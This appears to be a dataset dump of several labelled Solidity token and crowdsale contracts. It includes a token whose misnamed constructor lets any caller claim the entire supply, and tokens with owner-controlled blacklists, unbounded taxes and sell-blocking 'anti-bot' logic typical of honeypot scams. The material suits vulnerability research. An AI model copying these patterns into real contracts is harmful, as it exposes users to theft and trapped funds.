}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function blacklistAddress(address account, bool newValue) public onlyOwner {
isBlacklisted[account] = newValue;
}
function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
isExcludedFromFee[account] = newValue;
}
function setTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newgiveawayTax, uint256 newantidump) external onlyOwner() {
_liquidityFee = newLiquidityTax;
_marketingFee = newMarketingTax;
_giveawayFee = newgiveawayTax;
_antidump = newantidump;
_tax = _liquidityFee.add(_marketingFee).add(_giveawayFee);
_antisniperblock = _tax.add(_antidump);
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxtrx = maxTxAmount;
}
function enableDisableWalletLimit(bool newValue) external onlyOwner {
checkWalletLimit = newValue;
}
function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
isWalletLimitExempt[holder] = exempt;
}
function setWalletLimit(uint256 newLimit) external onlyOwner {
_walletMax = newLimit;
}
function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
minimumTokensBeforeSwap = newLimit;
}
function setMarketingWalletAddress(address newAddress) external onlyOwner() {
marketingWalletAddress = payable(newAddress);
}
function setgiveawayWalletAddress(address newAddress) external onlyOwner() {
giveawayWalletAddress = payable(newAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
swapAndLiquifyByLimitOnly = newValue;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
if(newPairAddress == address(0)) //Create If Doesnt exist
{
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
uniswapV2Pair = newPairAddress; //Set new pair address
uniswapV2Router = _uniswapV2Router; //Set new router address
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(!isBlacklisted[sender] && !isBlacklisted[recipient], "To/from address is blacklisted!");
require(amount > 0, "Transfer amount must be greater than zero");
if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{
if(sender != owner() && recipient != owner()) {
require(amount <= _maxtrx, "Transfer amount exceeds the maxTxAmount.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && sender != uniswapV2Pair && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
amount : takeFee(sender, recipient, amount);
if(checkWalletLimit && !isWalletLimitExempt[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
uint256 tokensForLP = tAmount.div(_tax).mul(_liquidityFee).div(2);
uint256 tokensForSwap = tAmount.sub(tokensForLP);
swapTokensForEth(tokensForSwap);
uint256 amountReceived = address(this).balance;
uint256 totalETHFee = _tax.sub(_liquidityFee.div(2));
uint256 amountETHLiquidity = amountReceived.mul(_liquidityFee).div(totalETHFee).div(2);
uint256 amountETHGiveaway = amountReceived.mul(_giveawayFee).div(totalETHFee);
uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHGiveaway);
transferToAddressETH(marketingWalletAddress, amountETHMarketing);
transferToAddressETH(giveawayWalletAddress, amountETHGiveaway);
addLiquidity(tokensForLP, amountETHLiquidity);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = recipient == uniswapV2Pair ? amount.mul(_antisniperblock).div(100)
: amount.mul(_tax).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
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pragma solidity ^0.4.21 ;
contract FRANCE_WINS {
mapping (address => uint256) public balanceOf;
string public name = " FRANCE_WINS " ;
string public symbol = " FRAWII " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 87205228707660300000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | True | [
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pragma solidity ^0.4.11;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* Interface for defining crowdsale pricing.
*/
contract PricingStrategy {
address public tier;
/** Interface declaration. */
function isPricingStrategy() public constant returns (bool) {
return true;
}
/** Self check if all references are correctly set.
*
* Checks that pricing strategy matches crowdsale parameters.
*/
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
/**
* @dev Pricing tells if this is a presale purchase or not.
@param purchaser Address of the purchaser
@return False by default, true if a presale purchaser
*/
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
/* How many weis one token costs */
function updateRate(uint newOneTokenInWei) public;
/**
* When somebody tries to buy tokens for X eth, calculate how many tokens they get.
*
*
* @param value - What is the value of the transaction send in as wei
* @param tokensSold - how much tokens have been sold this far
* @param weiRaised - how much money has been raised this far in the main token sale - this number excludes presale
* @param msgSender - who is the investor of this transaction
* @param decimals - how many decimal units the token has
* @return Amount of tokens the investor receives
*/
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* Safe unsigned safe math.
*
* https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli
*
* Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol
*
* Maintained here until merged to mainline zeppelin-solidity.
*
*/
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
/**
* Fixed crowdsale pricing - everybody gets the same price.
*/
contract FlatPricingExt is PricingStrategy, Ownable {
using SafeMathLibExt for uint;
/* How many weis one token costs */
uint public oneTokenInWei;
// Crowdsale rate has been changed
event RateChanged(uint newOneTokenInWei);
modifier onlyTier() {
if (msg.sender != address(tier)) throw;
_;
}
function setTier(address _tier) onlyOwner {
assert(_tier != address(0));
assert(tier == address(0));
tier = _tier;
}
function FlatPricingExt(uint _oneTokenInWei) onlyOwner {
require(_oneTokenInWei > 0);
oneTokenInWei = _oneTokenInWei;
}
function updateRate(uint newOneTokenInWei) onlyTier {
oneTokenInWei = newOneTokenInWei;
RateChanged(newOneTokenInWei);
}
/**
* Calculate the current price for buy in amount.
*
*/
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) {
uint multiplier = 10 ** decimals;
return value.times(multiplier) / oneTokenInWei;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-28
*/
//SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// Contract implementation
contract RockyDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded; // excluded from reward
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Rocky Doge';
string private _symbol = 'RDOGE';
uint8 private _decimals = 9;
uint256 private _taxFee = 0; // 0% reflection fee for every holder
uint256 private _marketingFee = 3; // 3% marketing
uint256 private _liquidityFee = 4; // 4% into liquidity
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousMarketingFee = _marketingFee;
uint256 private _previousLiquidityFee = _liquidityFee;
address payable private _marketingWalletAddress = payable(0x6573d0417953545730d4A478Cf25D80B86c1289d);
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify = false;
bool public swapAndLiquifyEnabled = true;
uint256 private _maxTxAmount = _tTotal;
// We will set a minimum amount of tokens to be swapped
uint256 private _numTokensSellToAddToLiquidity = 1000000000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
address payable private _DeadWalletAddress = payable(0x4beac524C7aB27e38DEe80ff6C9Df8BA13C94330);
// Using Dead Wallet for Anti Bot measures,
// DeadWallet comes into play if bots try selling,
// instead of sell, tokens are burned and bot addresses saved in DeadWallet transactions.
// Addresses saved in DeadWallet will not be able to sell.
// Deadwallet is connected to every token that uses this code,
// Botblacklist is updated from every instance of this code.
// Warning!! Do not chnage DeadWallet Address or Antibot measures will not work.
constructor () public {
_rOwned[_msgSender()] = _rTotal;
